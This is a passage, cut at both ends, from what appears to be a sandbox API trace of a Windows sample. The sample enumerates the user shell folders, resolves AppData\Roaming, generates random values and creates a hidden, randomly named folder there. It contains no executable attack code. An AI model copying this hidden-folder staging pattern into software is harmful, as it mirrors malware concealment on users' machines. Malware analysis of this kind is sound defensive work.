lpcbData=0x0) returned 0x0 [0229.808] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.808] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x10, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x11, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x12, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x13, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.809] RegEnumValueA (in: hKey=0x150, dwIndex=0x14, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x15, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x16, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x17, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x18, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x19, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x1a, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x1b, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x1c, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x1d, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0229.810] RegEnumValueA (in: hKey=0x150, dwIndex=0x1e, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0229.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2189210, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0229.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2189210, cbMultiByte=7, lpWideCharStr=0x35e950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0229.810] RegQueryValueExW (in: hKey=0x150, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x0, lpcbData=0x18f8d0*=0x0 | out: lpType=0x18f8c0*=0x1, lpData=0x0, lpcbData=0x18f8d0*=0x5c) returned 0x0 [0229.810] RegQueryValueExW (in: hKey=0x150, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x35e950, lpcbData=0x18f8d0*=0x5c | out: lpType=0x18f8c0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f8d0*=0x5c) returned 0x0 [0229.810] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e9d8) returned 1 [0229.810] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x2183058, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2183058) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21891c8) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d278) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189210) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d268) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189138) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d258) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189258) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d2f8) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21892a0) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d308) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21892e8) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d318) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189330) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d328) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189378) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d338) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21893c0) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d348) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189408) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d358) returned 1 [0229.811] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189450) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d368) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d378) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d388) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189570) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d398) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21895b8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3a8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189600) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3b8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21894e0) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3c8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189648) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3d8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189690) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3e8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21896d8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d3f8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189720) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d408) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189768) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d418) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21897b0) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d428) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21897f8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d438) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189840) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d448) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189888) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d458) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21898d0) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d468) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189918) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d478) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189960) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d488) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21899a8) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d498) returned 1 [0229.812] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.813] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189e98) returned 1 [0229.813] RegCloseKey (hKey=0x150) returned 0x0 [0229.813] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x526610) returned 1 [0229.813] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0229.813] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.814] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0229.814] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.814] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.814] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.814] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.815] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.815] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.815] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.816] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.816] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.816] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.817] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.817] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.817] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.818] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.818] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.818] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.819] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.819] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.819] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.820] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.820] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.820] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.820] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.820] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.820] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.821] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.821] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.821] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.822] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.822] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.822] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.823] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.823] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.823] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.824] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.824] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.824] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.824] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.825] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.825] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.825] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.825] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.825] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.826] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.826] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.826] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.827] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.827] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.827] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.828] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.828] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.828] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.829] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.829] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.829] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0229.830] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0229.830] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0229.830] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0229.830] CreateDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln"), lpSecurityAttributes=0x0) returned 1 [0229.831] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN", dwFileAttributes=0x2) returned 1 [0230.183] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x526610) returned 1 [0230.184] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0230.184] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.184] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0230.185] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.185] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.185] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.185] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.186] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.186] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.186] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.187] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.187] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.187] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.188] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.188] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.188] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.189] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.189] CryptReleaseContext (hProv=0x526610, dwFlags=0x0) returned 1 [0230.189] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x526610) returned 1 [0230.190] CryptGenRandom (in: hProv=0x526610, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0230.190] CryptReleaseContext (hProv=0x526610, 